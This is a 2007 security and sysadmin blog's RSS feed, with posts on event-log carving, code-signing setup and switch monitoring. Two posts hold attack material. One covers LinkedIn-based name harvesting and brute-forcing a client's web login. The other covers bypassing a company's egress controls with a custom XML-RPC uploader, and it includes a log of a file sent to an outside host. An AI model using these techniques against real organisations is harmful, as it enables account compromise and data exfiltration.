<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	xmlns:georss="http://www.georss.org/georss" xmlns:geo="http://www.w3.org/2003/01/geo/wgs84_pos#" xmlns:media="http://search.yahoo.com/mrss/"
	>

<channel>
	<title>DDSi</title>
	<atom:link href="http://ddsi.wordpress.com/feed/" rel="self" type="application/rss+xml" />
	<link>http://ddsi.wordpress.com</link>
	<description>If it interests, it's interesting</description>
	<lastBuildDate>Fri, 29 Jun 2007 06:50:29 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.com/</generator>
<cloud domain='ddsi.wordpress.com' port='80' path='/?rsscloud=notify' registerProcedure='' protocol='http-post' />
<image>
		<url>http://s2.wp.com/i/buttonw-com.png</url>
		<title>DDSi</title>
		<link>http://ddsi.wordpress.com</link>
	</image>
	<atom:link rel="search" type="application/opensearchdescription+xml" href="http://ddsi.wordpress.com/osd.xml" title="DDSi" />
	<atom:link rel='hub' href='http://ddsi.wordpress.com/?pushpress=hub'/>
		<item>
		<title>Recovering Windows EVT with Foremost</title>
		<link>http://ddsi.wordpress.com/2007/06/29/recovering-windows-evt-with-foremost/</link>
		<comments>http://ddsi.wordpress.com/2007/06/29/recovering-windows-evt-with-foremost/#comments</comments>
		<pubDate>Fri, 29 Jun 2007 06:48:08 +0000</pubDate>
		<dc:creator>ddsi</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://ddsi.wordpress.com/2007/06/29/recovering-windows-evt-with-foremost/</guid>
		<description><![CDATA[For my forensic needs I am definitely sticking with Linux as a platform. Besides great TSK toolset, I can use foremost for data carving ( extraction ). BTW, I read that foremost is now available on windows as well. I had an image from a windows XP machine which was badly damaged and could not [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=ddsi.wordpress.com&amp;blog=1179798&amp;post=17&amp;subd=ddsi&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>For my forensic needs I am definitely sticking with Linux as a platform. Besides great TSK toolset, I can use foremost<br />
for data carving ( extraction ). BTW, I read that foremost is now available on windows as well.</p>
<p>I had an image from a windows XP machine which was badly damaged and could not be mounted. I needed to recover event logs ( the *evt files ) from it. Since the logs are binary, and Unicode or ASCII search would have not turned up anything, I used  <strong>foremost</strong>  tool on Linux.</p>
<p>The hex signature of the evt file is :<br />
<code><br />
\x30\x00\x00\x00\x4c\x66\x4c\x65\x01\x00\x00\x00\x01\x00\x00\x00</code></p>
<p>Knowing this, I have constructed a formost config file notifying the tool of how exactly I wanted the data carved.  With the  following configuration in the <em>/usr/local/etc/foremost.conf.evt</em> config file:<br />
<code><br />
evt  y     512000     \x30\x00\x00\x00\x4c\x66\x4c\x65\x01\x00\x00\x00\x01\x00\x00\x00</code></p>
<p>the tool will search for a signature and recover at most 512000 bytes, which should be enough to read evt with some custom python  script or use  fccu.evtreader.pl  (  <font size="-1"><span class="a">www.d-fence.be ).</span></font></p>
<p>So, the recovery goes like that:<br />
1. Construct recovery command for foremost:<br />
<code><br />
$ foremost -v -T  -c /usr/local/etc/foremost.conf.evt  -t all  -i /z/image.dd<br />
</code><br />
This will extract  a binary evt file ( like 00000000.evt ) from the image.dd</p>
<p>2. Run<br />
<code><br />
$ fccu.evtreader.pl 00000000.evt<br />
</code><br />
and get ascii lines back for further processing.</p>
<br /><img alt="" border="0" src="http://feeds.wordpress.com/1.0/categories/ddsi.wordpress.com/17/" /> <img alt="" border="0" src="http://feeds.wordpress.com/1.0/tags/ddsi.wordpress.com/17/" /> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/ddsi.wordpress.com/17/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/ddsi.wordpress.com/17/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/ddsi.wordpress.com/17/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/ddsi.wordpress.com/17/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/ddsi.wordpress.com/17/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/ddsi.wordpress.com/17/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/ddsi.wordpress.com/17/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/ddsi.wordpress.com/17/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/ddsi.wordpress.com/17/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/ddsi.wordpress.com/17/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/ddsi.wordpress.com/17/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/ddsi.wordpress.com/17/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/ddsi.wordpress.com/17/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/ddsi.wordpress.com/17/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=ddsi.wordpress.com&amp;blog=1179798&amp;post=17&amp;subd=ddsi&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://ddsi.wordpress.com/2007/06/29/recovering-windows-evt-with-foremost/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/9b2ad4f03a41feb07155229204d3b0ac?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">dxs</media:title>
		</media:content>
	</item>
		<item>
		<title>Harvesting Reconnaissance Info via Linked-in</title>
		<link>http://ddsi.wordpress.com/2007/06/10/harvesting-pentest-reconnaisance-info-via-linked-in/</link>
		<comments>http://ddsi.wordpress.com/2007/06/10/harvesting-pentest-reconnaisance-info-via-linked-in/#comments</comments>
		<pubDate>Sun, 10 Jun 2007 23:11:52 +0000</pubDate>
		<dc:creator>ddsi</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://ddsi.wordpress.com/2007/06/10/harvesting-pentest-reconnaisance-info-via-linked-in/</guid>
		<description><![CDATA[Someone I haven;t talked to for a long time sent me a linked-in ( http://www.linkedin.com ) request the other day, and I went to update my long-outstanding profile. For those who have not used Linked-in &#8211; it&#8217;s an online network of people you want to keep in contact with; and find/expand your relationships with people [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=ddsi.wordpress.com&amp;blog=1179798&amp;post=16&amp;subd=ddsi&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>Someone  I haven;t talked to for a long time sent me a linked-in ( http://www.linkedin.com ) request the other day, and I went to update my long-outstanding profile.  For those who have not used Linked-in &#8211; it&#8217;s an online network of people you want to keep in contact with; and find/expand your relationships with people your contacts know.</p>
<p>At the time I was preparing to pen-test a company;s PeopleSoft web  interface to Accounts Payable/ Accounts Receivable stuff.  Of course, there was no correlation between these 2 activities except for the fact that Linked-in made my recon phase  of the test that  much easier. This wonderful site allowed me to generate a dictionary  of possible first and last names of people currently working for the company. Given the fact and some other clues, I was able to infer user login policy to the Website interface.  <img src='http://s2.wp.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' />  All I had to do is search for current employees of the particular company.  Forget Monster profiles ( who knows how updated they are ). Forget searching for emails on Google. Login to Linked -in and having at least one sufficiently connected peer in your network( 500 references in my case ), I was able to find 145 people <strong>currently </strong>working for the company. Of them, 18 were execs and 34 were technical people with resumes reflecting technology they worked on at the company.</p>
<p>Needless to say the dictionary of first/last names were fed into brute-forcer against the web interface I was testing. 20 minutes later I got &#8220;Password invalid&#8221; for a valid user&#8230;. Interestingly enough, the valid user turned out to be an HR guy who never changed his password.</p>
<p>I wonder if anyone had taken it further to do some social engineering stuff <img src='http://s2.wp.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' />    ?</p>
<br /><img alt="" border="0" src="http://feeds.wordpress.com/1.0/categories/ddsi.wordpress.com/16/" /> <img alt="" border="0" src="http://feeds.wordpress.com/1.0/tags/ddsi.wordpress.com/16/" /> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/ddsi.wordpress.com/16/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/ddsi.wordpress.com/16/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/ddsi.wordpress.com/16/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/ddsi.wordpress.com/16/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/ddsi.wordpress.com/16/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/ddsi.wordpress.com/16/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/ddsi.wordpress.com/16/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/ddsi.wordpress.com/16/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/ddsi.wordpress.com/16/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/ddsi.wordpress.com/16/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/ddsi.wordpress.com/16/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/ddsi.wordpress.com/16/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/ddsi.wordpress.com/16/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/ddsi.wordpress.com/16/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=ddsi.wordpress.com&amp;blog=1179798&amp;post=16&amp;subd=ddsi&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://ddsi.wordpress.com/2007/06/10/harvesting-pentest-reconnaisance-info-via-linked-in/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/9b2ad4f03a41feb07155229204d3b0ac?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">dxs</media:title>
		</media:content>
	</item>
		<item>
		<title>Bypassing firewalls with XML-RPC</title>
		<link>http://ddsi.wordpress.com/2007/06/10/bypassing-firewalls-with-xml-rpc/</link>
		<comments>http://ddsi.wordpress.com/2007/06/10/bypassing-firewalls-with-xml-rpc/#comments</comments>
		<pubDate>Sun, 10 Jun 2007 07:43:06 +0000</pubDate>
		<dc:creator>ddsi</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://ddsi.wordpress.com/2007/06/10/bypassing-firewalls-with-xml-rpc/</guid>
		<description><![CDATA[I know&#8230; Lots of people are talking about insecure webservices nowadays. Until recently I didn;t have much to do with it. However, I was in one quite secure environment the other week, and had to transfer my own utility I wrote outside the company. I also needed to transfer a video of the utility in-action [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=ddsi.wordpress.com&amp;blog=1179798&amp;post=13&amp;subd=ddsi&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>I know&#8230; Lots of people are talking about insecure webservices  nowadays. Until recently I didn;t have much to do with it. However, I was in one quite secure environment the other week, and had to transfer my own utility I wrote outside the company. I also needed to transfer a video of the utility in-action outside.</p>
<p>A lot of &#8220;normal&#8221; ways of  transferring data from  the company were  already restricted, including ssh, mail attachments, and even USB and CDROMs were locked. So, I had to really either print the source code and retype it later or come up with a way to transfer files reliably. Proxy servers did not allow access to the usual upload facilities like Rapidshare, etc.  One option was to connect via port 80 somewhere and upload the file&#8230;. The company allowed only POST and GET egress. Pain in the butt&#8230; <img src='http://s2.wp.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' />  or &#8230;. good security&#8230;. <img src='http://s2.wp.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' />    unfortunately visits to my home page were prohibited by Websense under &#8220;Personal homepages&#8221; policy. Not much to do.   So thinking  more about it, I decided to  take down my home site, and mount an XML-RPC service  on port 80 instead. Tweaking things here and there, it looked promising. Here&#8217;s a  client and server I wrote to finally copy binary/text files via my webservice. I based it on Twisted Python &#8211; great stuff.</p>
<p><code><br />
dimas@moo ~/scripts/python/twisted $ ls -l ~/Desktop/video.wmv<br />
-rw-r--r-- 1 dimas dimas 7732360 May 14 16:37 /home/dimas/Desktop/video.wmv</code></p>
<p>dimas@moo ~/scripts/python/twisted $ ./xmlrpc_client.py  ~/Desktop/video.wmv &#8216;http://externalsite:80&#8242;<br />
<strong>[c]Preparing for service at: http://externalsite:80<br />
[c]Connected to http://externalsite:80<br />
[c]Uploading file /home/dimas/Desktop/video.wmv<br />
[c]Client digest:1a0444dff540bd641d23d28e21288804e6fd0735<br />
[s]Server digest:1a0444dff540bd641d23d28e21288804e6fd0735<br />
[c]File upload status: UPLD_OK</strong></p>
<p>It was a success. XML-RPC calls went undetected ( or at least not prevented ). Also, if anyone visits externalsite:80 they will  not see the usual upload page&#8230; which is always better <img src='http://s2.wp.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' />  anyways.</p>
<p>Here is the code. I checksum the data with sha-1, base64 -encode it on one end and reverse it on the other.</p>
<p><a href="http://ddsi.files.wordpress.com/2007/06/xmlrpc_client.pdf" title="XML-RPC twisted client">XML-RPC twisted client</a></p>
<p><a href="http://ddsi.files.wordpress.com/2007/06/xmlrpc_server.pdf" title="XML-RPC twisted server">XML-RPC twisted server</a></p>
<p>So, really, how are people going to fix this? Unless they do some really intelligent packet inspection and know business logic, it&#8217;s  hard to do. The XML-RPC clients/servers are mostly custom within organisations, and one needs to educate the parsing software of the proper rules.</p>
<br /><img alt="" border="0" src="http://feeds.wordpress.com/1.0/categories/ddsi.wordpress.com/13/" /> <img alt="" border="0" src="http://feeds.wordpress.com/1.0/tags/ddsi.wordpress.com/13/" /> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/ddsi.wordpress.com/13/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/ddsi.wordpress.com/13/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/ddsi.wordpress.com/13/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/ddsi.wordpress.com/13/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/ddsi.wordpress.com/13/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/ddsi.wordpress.com/13/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/ddsi.wordpress.com/13/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/ddsi.wordpress.com/13/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/ddsi.wordpress.com/13/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/ddsi.wordpress.com/13/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/ddsi.wordpress.com/13/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/ddsi.wordpress.com/13/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/ddsi.wordpress.com/13/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/ddsi.wordpress.com/13/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=ddsi.wordpress.com&amp;blog=1179798&amp;post=13&amp;subd=ddsi&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://ddsi.wordpress.com/2007/06/10/bypassing-firewalls-with-xml-rpc/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/9b2ad4f03a41feb07155229204d3b0ac?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">dxs</media:title>
		</media:content>
	</item>
		<item>
		<title>Local Certificate Authority for MS Authenticode</title>
		<link>http://ddsi.wordpress.com/2007/06/06/local-certificate-authority-for-ms-authenticode/</link>
		<comments>http://ddsi.wordpress.com/2007/06/06/local-certificate-authority-for-ms-authenticode/#comments</comments>
		<pubDate>Wed, 06 Jun 2007 22:30:46 +0000</pubDate>
		<dc:creator>ddsi</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://ddsi.wordpress.com/2007/06/06/local-certificate-authority-for-ms-authenticode/</guid>
		<description><![CDATA[I needed a fast and scriptable way of signing local binaries. Those &#8220;tools&#8221; would be distributed around the department, and had to be accepted and run by others. I looked at Microsoft MSH ( powershell ? ) to see if it can help, and it did&#8230;. The following procedure was rolled into a script and [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=ddsi.wordpress.com&amp;blog=1179798&amp;post=12&amp;subd=ddsi&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>I  needed a fast and scriptable way of signing local binaries. Those &#8220;tools&#8221; would be distributed around the department, and had to be accepted and run by others. I looked at Microsoft MSH ( powershell ? )  to see if it can help, and it did&#8230;.  The following procedure was rolled into a script and automated.</p>
<p>Prerequisites I needed</p>
<p><strong><font color="#339966">        1. Install .Net Framework 2.0<br />
2. Install MSH windows shell<br />
3. Install .Net Development SDK</font></strong></p>
<p>Note: in this example SRVR ( W2k3 ) server is used as local CA<br />
and ACCT as admin account to run under</p>
<p>Procedure I followed:</p>
<p>1. Login to SRVR as ACCT account<br />
2. Start-&gt;Run : type <strong>msh</strong></p>
<p>I. Make certificate Authority ( Only one time )</p>
<p>## Create certificate Authority keypair and certificate<br />
MSH&gt; <strong><em>makecert -n &#8220;CN=Company Local CA2, O=CompanyBuild, C=US, S=Illinois, O=Company, OU=Chicago&#8221; -a sha1 -eku</em></strong> <em><strong>1.3.6.1.5.5.7.3.3 -r -sv root.pvk root.cer -ss Root -sr localMachine</strong></em><br />
Succeeded</p>
<p>## Check if it was created<br />
MSH&gt;<em><strong> get-childitem cert:\localmachine\root</strong></em></p>
<p><em>Subject      : CN=Company Local CA2, O=Company Build,<br />
C=US, S=Illinois, O=Company, OU=Chicago<br />
Issuer       : CN=Company Local CA2, O=Company Build,<br />
C=US, S=Illinois, O=Company, OU=Chicago<br />
Thumbprint   : FCD5D33001132C770CF0627424B1F2</em></p>
<p style="direction:ltr;"><em>1E9EECD6DD</em></p>
<p style="direction:ltr;"><em>FriendlyName :<br />
NotBefore    : 3/22/2007 3:11:15 PM<br />
NotAfter     : 12/31/2039 5:59:59 PM<br />
Extensions   : {System.Security.Cryptography</em><em>.Oid,<br />
System.Security.Cryptography</em><em>.Oid}<br />
</em></p>
<p>II. Make Certificate signing Authority ( only one time )</p>
<p>## Create signing authority and sign the certificate by local CA<br />
MSH&gt; <em><strong>makecert -pe -n &#8220;CN=Company Local CA2 Signing Validation,<br />
O=Company Build,  C=US, S=Illinois OU=Chicago&#8221; -ss CF  -a<br />
sha1 -eku 1.3.6.1.5.5.7.3.3 -iv root.pvk -ic root.cer</strong></em><br />
Succeeded</p>
<p>## Check it was created<br />
MSH&gt; g<strong><em>et-childitem cert:\currentuser\CF</em></strong></p>
<p><em>Subject      : CN=Company Local CA2 Signing Validation,<br />
O=Company Build, C=US, S=&#8221;Illinois OU=Chicago&#8221;<br />
Issuer       : CN=Company Local CA2, O=Company Build,<br />
C=US, S=Illinois, O=Company, OU=Chicago<br />
Thumbprint   : E748B0B01AFA1B3CC27B268E7FEB26</em><em>98D6FA6B95<br />
FriendlyName :<br />
NotBefore    : 3/22/2007 3:19:02 PM<br />
NotAfter     : 12/31/2039 5:59:59 PM<br />
Extensions   : {System.Security.Cryptography</em><em>.Oid,<br />
System.Security.Cryptography</em><em>.Oid}</em></p>
<p>III Sign a file ( every time )</p>
<p>## In case you have multiple CAs installed, select the one certificate<br />
you need ( array element )<br />
MSH&gt; <em><strong>$cert=(get-childitem cert:\currentuser\CF)[1]</strong></em></p>
<p>## Sign EXE/CAB/DLL/MSH files<br />
MSH&gt; <strong><em>set-authenticodeSignature &#8220;c:\Tools\fport\Fport-2.0\fport.exe&#8221; $cert</em></strong></p>
<p><em>SignerCertificate      : [Subject]<br />
CN=Company Local CA2 Signing<br />
Validation, O=Company Build, C=US, S=&#8221;Illinois<br />
OU=Chicago&#8221;</em></p>
<p><em>[Issuer]<br />
CN=Company Local CA2,<br />
O=Company Build, C=US, S=Illinois, O=Company,<br />
OU=Chicago</em></p>
<p><em>[Serial Number]<br />
DB0F9C8A691755074AAF551F570DE4</em><em>E5</em></p>
<p><em>[Not Before]<br />
3/22/2007 3:19:02 PM</em></p>
<p><em>[Not After]<br />
12/31/2039 5:59:59 PM</em></p>
<p><em>[Thumbprint]<br />
E748B0B01AFF1B5FC27B268E7FEB26</em><em>98D6FA6B95</em></p>
<p><em>TimeStamperCertificate :<br />
Status                 : Valid<br />
StatusMessage          : Signature verified.<br />
Path                   : C:\Tools\fport\Fport-2.0\fport.exe</em></p>
<p>IV Test and distribute the signed file</p>
<p style="direction:ltr;">&nbsp;</p>
<p style="direction:ltr;">&nbsp;</p>
<br /><img alt="" border="0" src="http://feeds.wordpress.com/1.0/categories/ddsi.wordpress.com/12/" /> <img alt="" border="0" src="http://feeds.wordpress.com/1.0/tags/ddsi.wordpress.com/12/" /> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/ddsi.wordpress.com/12/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/ddsi.wordpress.com/12/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/ddsi.wordpress.com/12/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/ddsi.wordpress.com/12/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/ddsi.wordpress.com/12/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/ddsi.wordpress.com/12/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/ddsi.wordpress.com/12/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/ddsi.wordpress.com/12/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/ddsi.wordpress.com/12/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/ddsi.wordpress.com/12/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/ddsi.wordpress.com/12/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/ddsi.wordpress.com/12/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/ddsi.wordpress.com/12/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/ddsi.wordpress.com/12/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=ddsi.wordpress.com&amp;blog=1179798&amp;post=12&amp;subd=ddsi&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://ddsi.wordpress.com/2007/06/06/local-certificate-authority-for-ms-authenticode/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/9b2ad4f03a41feb07155229204d3b0ac?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">dxs</media:title>
		</media:content>
	</item>
		<item>
		<title>(Old) Brocade switch performance monitoring</title>
		<link>http://ddsi.wordpress.com/2007/06/06/old-brocade-switch-performance-monitoring/</link>
		<comments>http://ddsi.wordpress.com/2007/06/06/old-brocade-switch-performance-monitoring/#comments</comments>
		<pubDate>Wed, 06 Jun 2007 21:31:14 +0000</pubDate>
		<dc:creator>ddsi</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://ddsi.wordpress.com/2007/06/06/old-brocade-switch-performance-monitoring/</guid>
		<description><![CDATA[Why do I get old hardware &#8230; Brocade 2800 16-port switch does not support ssh to manage, and there&#8217;s no decent reporting. But it&#8217;s very affordable and solid for an entry level FC tweaking. It&#8217;s really not meant to support production anymore ( perfromance-wise) But some people have no choice, and run Oracle on it. [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=ddsi.wordpress.com&amp;blog=1179798&amp;post=7&amp;subd=ddsi&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>Why do I get old hardware &#8230; <img src='http://s2.wp.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' />  Brocade 2800 16-port switch does not support ssh to manage, and there&#8217;s no decent reporting. But it&#8217;s very affordable and solid for an entry level FC tweaking. It&#8217;s really not meant to support  production anymore ( perfromance-wise)  <img src='http://s2.wp.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' />  But some people have no choice, and run Oracle on it.  Here&#8217;s how I got to collecting performance stats from it and report almost as granular ( 15 sec ) as I could.</p>
<p>The cron entries:<br />
<code></code></p>
<p><em>### San switch 1<br />
00,05,10,15,20,25,30,35,40,45,50,55 * * * *<br />
/usr/local/scripts/monitoring/BrocadePortPerf.pl &#8211;switch=10.4.15.202<br />
&#8211;collog=/var/log/collect/sanportstats &gt;&gt; /var/log/brocadeperf.sw1.log 2&gt;&amp;1</em></p>
<p><em>### San switch 2<br />
00,05,10,15,20,25,30,35,40,45,50,55 * * * *<br />
/usr/local/scripts/monitoring/BrocadePortPerf.pl &#8211;switch=10.4.15.203<br />
&#8211;collog=/var/log/collect/sanportstats &gt;&gt; /var/log/brocadeperf.sw2.log 2&gt;&amp;1</em></p>
<p><em>### San port layout<br />
00 6 * * * /usr/local/scripts/monitoring/wwn2port.pl &#8211;switch=10.4.15.202<br />
&#8211;switch=10.4.15.203 &gt;&gt;/var/log/wwwn2port.pl.log 2&gt;&amp;1</em></p>
<p><em>##### Generate San Port Performance graphs<br />
10 * * * * /usr/local/scripts/monitoring/generateAll4Day.sh &gt;&gt;<br />
/var/log/generateAll4Day.sh.log 2&gt;&amp;1</em></p>
<p>And the respective scripts:</p>
<p><a href="http://ddsi.files.wordpress.com/2007/06/brocadeportperf.pdf" title="Brocade port performance collector">Brocade port performance collector</a> BrocadePortPerf.pl</p>
<p><a href="http://ddsi.files.wordpress.com/2007/06/genportstats.pdf" title="Web stats generator">Web stats generator</a>     GenPortStats.pl</p>
<p><a href="http://ddsi.files.wordpress.com/2007/06/wwn2port.pdf" title="WWN2Port converter">WWN2Port converter</a>   wwn2port.pl</p>
<p>The web frontend is fed from the collected information such as :</p>
<p>epoch time|humandate|ip:port|stats 15 second interval|(M)aximum, (A)verage for the past interval<br />
<code><br />
1171086918 | 23:55:18, Fri Feb 9, 2007 | 10.4.15.203:Port6 | 0.00:0.00:0.00:0.00:0.00:0.00:0.00:0.00:0.00:0.00:0.00:0.00:0.00:0.00:0.00:0.00 | M=0.00, A=0.00<br />
1171086918 | 23:55:18, Fri Feb 9, 2007 | 10.4.15.203:Port1 | 0.00:0.00:0.00:0.00:0.00:0.00:0.00:0.00:0.00:0.00:0.00:0.00:0.00:0.00:0.00:0.00 | M=0.00, A=0.00<br />
1171086918 | 23:55:18, Fri Feb 9, 2007 | 10.4.15.203:Port9 | 0.01:0.01:0.25:0.01:0.03:0.26:0.08:0.26:0.03:0.34:0.02:0.27:0.27:0.00:0.00:0.02 | M=0.34, A=0.12</code></p>
<p>Web looks like Date &#8211;&gt; IP &#8211;&gt; Port &#8211;&gt; Max/Average like so:</p>
<p><a href="http://ddsi.files.wordpress.com/2007/06/brocade.png" title="Brocade switch port performance"><img src="http://ddsi.files.wordpress.com/2007/06/brocade.png?w=450" alt="Brocade switch port performance" /></a></p>
<br /><img alt="" border="0" src="http://feeds.wordpress.com/1.0/categories/ddsi.wordpress.com/7/" /> <img alt="" border="0" src="http://feeds.wordpress.com/1.0/tags/ddsi.wordpress.com/7/" /> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/ddsi.wordpress.com/7/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/ddsi.wordpress.com/7/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/ddsi.wordpress.com/7/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/ddsi.wordpress.com/7/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/ddsi.wordpress.com/7/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/ddsi.wordpress.com/7/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/ddsi.wordpress.com/7/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/ddsi.wordpress.com/7/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/ddsi.wordpress.com/7/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/ddsi.wordpress.com/7/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/ddsi.wordpress.com/7/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/ddsi.wordpress.com/7/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/ddsi.wordpress.com/7/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/ddsi.wordpress.com/7/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=ddsi.wordpress.com&amp;blog=1179798&amp;post=7&amp;subd=ddsi&amp;ref=&amp;feed=1" width="1" height="1" 